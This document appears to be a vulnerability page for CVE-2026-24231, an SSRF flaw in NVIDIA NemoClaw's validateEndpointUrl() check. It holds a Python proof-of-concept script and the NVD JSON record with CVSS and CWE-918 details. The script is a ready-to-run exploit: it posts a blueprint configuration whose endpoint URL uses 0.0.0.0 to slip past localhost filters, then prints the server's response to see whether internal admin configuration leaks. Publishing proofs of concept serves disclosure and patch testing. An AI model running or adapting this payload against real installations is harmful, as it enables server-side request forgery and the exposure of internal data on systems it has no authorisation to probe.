CVE-2026-24231

# Proof of Concept for CVE-2026-24231 # This script demonstrates the bypass of validateEndpointUrl() # using the 0.0.0.0/8 address range. import requests import json # The vulnerable endpoint that accepts configuration target_api = "http://127.0.0.1:8080/api/submit_blueprint" # Malicious payload using 0.0.0.0 to bypass SSRF checks # 0.0.0.0 is often treated as localhost but bypasses standard 127.0.0.1 filters malicious_url = "http://0.0.0.0/admin/config" # Constructing the blueprint configuration payload payload = { "config_name": "exploit_config", "endpoint_url": malicious_url, "action": "fetch" } headers = { "Content-Type": "application/json" } try: print(f"[*] Attempting to send malicious payload to {target_api}") print(f"[*] Payload URL: {malicious_url}") response = requests.post(target_api, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check for information disclosure in response.") print(f"[+] Response Body: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-24231", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:36:45.637", "lastModified": "2026-05-04T14:30:50.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NemoClaw contains a vulnerability in the validateEndpointUrl() SSRF protection component, where an attacker could cause a server-side request forgery by supplying a crafted endpoint URL referencing the 0.0.0.0/8 address range through a blueprint configuration file or CLI flag. A successful exploit of this vulnerability may lead to information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nemoclaw:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.0.13", "matchCriteriaId": "689A9A43-F5DE-4E18-BB74-1A9F15B00DE0"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24231", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5837", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24231", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}